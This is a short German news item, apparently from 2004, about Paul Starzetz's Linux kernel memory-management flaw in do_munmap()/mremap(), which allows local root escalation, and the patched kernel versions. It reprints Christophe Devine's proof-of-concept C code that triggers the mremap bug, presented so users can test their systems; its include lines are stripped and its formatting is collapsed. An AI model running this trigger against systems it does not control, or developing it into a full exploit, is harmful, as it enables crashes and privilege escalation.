|
|
 |
|
|
 |
| Neue Kernel-Versionen beheben Sicherheitslücke |
 |
Paul Starzetz hat einmal mehr auf ein kritische Sicherheitslücke im Linux-Kernel hingewiesen. Betroffen ist erneut das Speichermanagement und hier die Funktion do_munmap(). Der jetzt entdeckte Fehler steht dabei in keinem Zusammenhang zu einer von Starzetz im Januar 2004 gefunden Sicherheitslücke in der gleichen Funktion.
Betroffen ist der Linux Kernel in den Versionen 2.2, 2.4 sowie 2.6, wobei die Lücke in neueren Versionen als 2.2.25, 2.4.24 und 2.6.2 beseitigt ist. Die bereinigte Version 2.6.3 ist heute erscheinen, und auch ein Kernel 2.4.25 ist verfügbar.
Problematisch ist die Sicherheitslücke vor allem, da diese auch von unprivilegierten Nutzern über den Systemaufruf mremap() ausgenutzt werden kann. So können durch den von Starzetz gefunden Fehler Root-Rechte erlangt werden.
Starzetz weist zudem aber auf zwei weitere ähnliche Probleme hin, die möglicherweise auch von Angreifern genutzt werden können. Details dazu nannte Starzetz aber nicht.
--
Proof of concept Exploit von Christophe Devine, mit welchem Benzutzer prüffen können, ob Ihr System anfällig ist:
/* * Proof-of-concept exploit code for do_mremap() #2 * * Copyright (C) 2004 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */#include #include #include #include #include #define MREMAP_MAYMOVE 1#define MREMAP_FIXED 2#define MREMAP_FLAGS MREMAP_MAYMOVE | MREMAP_FIXED#define __NR_real_mremap __NR_mremapstatic inline _syscall5( void *, real_mremap, void *, old_address, size_t, old_size, size_t, new_size, unsigned long, flags, void *, new_address );#define VMA_SIZE 0x00003000int main( void ){ int i, ret; void *base0; void *base1; i = 0; while( 1 ) { i++; ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ), VMA_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 ); if( ret == -1 ) { perror( "mmap" ); break; } base0 = base1; base1 = (void *) ret; } printf( "created ~%d VMAs\n", i ); base0 += 0x1000; base1 += 0x1000; printf( "now mremapping 0x%08X at 0x%08X\n", (int) base1, (int) base0 ); real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 ); printf( "kernel may not be vulnerable\n" ); return( 0 );}EOFChristophe Devine - http://www.cr0.net:8040/about/
|
 |
 |
|
 |
 |
|
|
|
|
 |
|
|